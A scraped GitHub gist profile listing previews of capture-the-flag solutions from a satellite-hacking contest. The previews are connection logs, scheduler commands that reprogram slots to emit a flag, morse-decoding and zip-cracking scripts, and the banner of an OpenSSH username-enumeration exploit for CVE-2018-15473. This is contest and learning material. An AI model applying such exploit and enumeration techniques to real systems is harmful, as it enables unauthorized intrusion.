Skip to content

Instantly share code, notes, and snippets.

View pdelteil's full-sized avatar
🌴
On vacation

Philippe Delteil pdelteil

🌴
On vacation
View GitHub Profile
colorama==0.4.3
parse==1.17.0
requests==2.24.0
termcolor==1.1.0
urllib3==1.25.10
@pdelteil
pdelteil / CVE-2018-15473.py
Last active August 24, 2022 02:01
CVE-2018-15473
#!/usr/bin/env python
###########################################################################
# ____ _____ _____ _ _ #
# / __ \ / ____/ ____| | | | #
# | | | |_ __ ___ _ __ | (___| (___ | |__| | #
# | | | | '_ \ / _ \ '_ \ \___ \\___ \| __ | #
# | |__| | |_) | __/ | | |____) |___) | | | | #
# \____/| .__/ \___|_| |_|_____/_____/|_| |_| #
# | | Username Enumeration #
# |_| #
@pdelteil
pdelteil / exploit.sh
Created June 1, 2020 07:03 — forked from darkarnium/exploit.sh
spacedb
(ctf) [darkarnium::Callisto SpaceDB][0]$ python3 -i flagger.py
[x] Opening connection to spacedb.satellitesabove.me on port 5062
[x] Opening connection to spacedb.satellitesabove.me on port 5062: Trying 18.191.160.21
[+] Opening connection to spacedb.satellitesabove.me on port 5062: Done
[*] Sending ticket
[*] Waiting for Telemetry service endpoint
[*] 18.191.160.21:19587/tel/graphiql
[*] Starting voltage fix-up thread
[*] Waiting for Scheduler service to start
[!] VIDIODE fixed to 7.0 (from 6.47) for 1590260897.99999
@pdelteil
pdelteil / exploit.sh
Created June 1, 2020 07:03 — forked from darkarnium/exploit.sh
magicbus
(ctf) [darkarnium::Callisto MagicBus][0]$ ipython3 --no-banner -i magic_bus.py
[x] Opening connection to bus.satellitesabove.me on port 5041
[x] Opening connection to bus.satellitesabove.me on port 5041: Trying 18.222.201.16
[+] Opening connection to bus.satellitesabove.me on port 5041: Done
[*] Sent b'^93+00+00+35+.' to bus
[*] Sent b'^93+00+00+45+.' to bus
[*] Sent b'^93+00+00+55+.' to bus
[*] Sent b'^93+00+00+75+.' to bus
[*] Sent b'^93+00+00+85+.' to bus
[*] Sent b'^93+00+00+a5+.' to bus
@pdelteil
pdelteil / commands
Created June 1, 2020 07:03 — forked from darkarnium/commands
That's not on my calendar
# Disable Slot 1
cmd("KIT_SCH CFG_SCH_ENTRY with CCSDS_STREAMID 6293, CCSDS_SEQUENCE 49152, CCSDS_LENGTH 6, CCSDS_FUNCCODE 4, CCSDS_CHECKSUM 0, SLOT 1, ACTIVITY 0, CONFIG 0")
# Reprogram Slot 0, Activity 0 to call KIT_TO_TLM_FLAG_MID.
cmd("KIT_SCH LOAD_SCH_ENTRY with CCSDS_STREAMID 6293, CCSDS_SEQUENCE 49152, CCSDS_LENGTH 13, CCSDS_FUNCCODE 5, CCSDS_CHECKSUM 0, SLOT 0, ACTIVITY 0, CONFIG 1, FREQ 1, OFFSET 0, MSG_TBL_IDX 42")
# Reprogram Slot 1, Activity 0 to call KIT_TO_TLM_FLAG_MID.
cmd("KIT_SCH LOAD_SCH_ENTRY with CCSDS_STREAMID 6293, CCSDS_SEQUENCE 49152, CCSDS_LENGTH 13, CCSDS_FUNCCODE 5, CCSDS_CHECKSUM 0, SLOT 0, ACTIVITY 0, CONFIG 1, FREQ 1, OFFSET 0, MSG_TBL_IDX 42")
# Enable Telemetry
import sys
import string
import re
from PIL import Image
morseAlphabet = {"A": ".-","B": "-...","C": "-.-.","D": "-..","E": ".","F": "..-.","G": "--.","H": "....","I": "..",
"J": ".---","K": "-.-","L": ".-..","M": "--","N": "-.","O": "---","P": ".--.","Q": "--.-","R": ".-.","S": "...",
"T": "-","U": "..-","V": "...-","W": ".--","X": "-..-","Y": "-.--","Z": "--.."," ": "/","1" : ".----","2" : "..---",
"3" : "...--","4" : "....-","5" : ".....","6" : "-....","7" : "--...","8" : "---..","9" : "----.","0" : "-----",
".": ".-.-.-",",": "--..--",":": "---...","?": "..--..","'": ".----.","-": "-....-","/": "-..-.","@": ".--.-.",
#!/bin/sh
while [ true ]; do
pwds=$(python3 convertMorse.py pwd.png 2>&1)
#all passwords are lower case
pwdsL=$(echo $pwds| tr '[:upper:]' '[:lower:]')
echo $pwdsL
unzip -P $pwdsL flag*.zip
cd flag
done
@pdelteil
pdelteil / gist:9def73fc23815153adb0dd5ce46bb2a7
Created May 26, 2020 00:45
Converts morse code in image to text. The script supports two colors.
import sys
import string
import re
from PIL import Image
morseAlphabet = {"A": ".-","B": "-...","C": "-.-.","D": "-..","E": ".","F": "..-.","G": "--.","H": "....",
"I": "..","J": ".---","K": "-.-","L": ".-..","M": "--","N": "-.","O": "---","P": ".--.","Q": "--.-","R": ".-.",
"S": "...","T": "-","U": "..-","V": "...-","W": ".--","X": "-..-","Y": "-.--","Z": "--.."," ": "/",
"1" : ".----","2" : "..---","3" : "...--","4" : "....-","5" : ".....","6" : "-....","7" : "--...","8" : "---..",
"9" : "----.","0" : "-----",".": ".-.-.-",",": "--..--",":": "---...","?": "..--..","'": ".----.","-": "-....-",
9,6,7,3,7,9,6,8,1,7,9,9,2,1,5,0,2,8,4,1,1,4,7,9,6,7,8,7,1,4,3,0,6,3,3,3,3,1,1,9,0,0,3,6,2,6,9,7,9,7,1,8,0,0,9,4,9,4,4,1,2,7,5,8,4,8,9,8,9,2,3,7,4,9,2,7,6,2,9,7,0,8,8,4,2,1,6,8,9,8,1,4,8,3,0,2,2,6,2,4,9,7,1,7,5,7,3,7,4,2,1,5,2,6,1,0,5,9,9,5,4,1,7,0,1,5,7,0
6,1,5,7,4,1,1,2,6,8,2,1,9,8,9,0,3,0,1,4,3,8,6,1,0,6,5,8,7,4,1,5,4,5,5,3,5,8,7,2,7,7,3,6,7,9,4,3,5,8,3,3,7,7,5,9,4,0,3,4,7,2,4,1,6,0,9,2,7,5,2,0,9,5,1,6,0,5,2,0,0,6,4,8,0,6,6,8,8,8,0,3,2,4,2,4,4,4,0,5,0,8,4,2,6,2,4,3,3,9,7,3,8,5,4,5,2,3,4,0,4,4,3,4,8,0,9,8
0,7,4,3,7,3,8,6,1,1,2,0,2,5,4,5,8,7,1,7,8,0,3,2,1,5,0,5,1,3,9,3,1,1,6,3,6,2,1,2,9,0,5,1,1,3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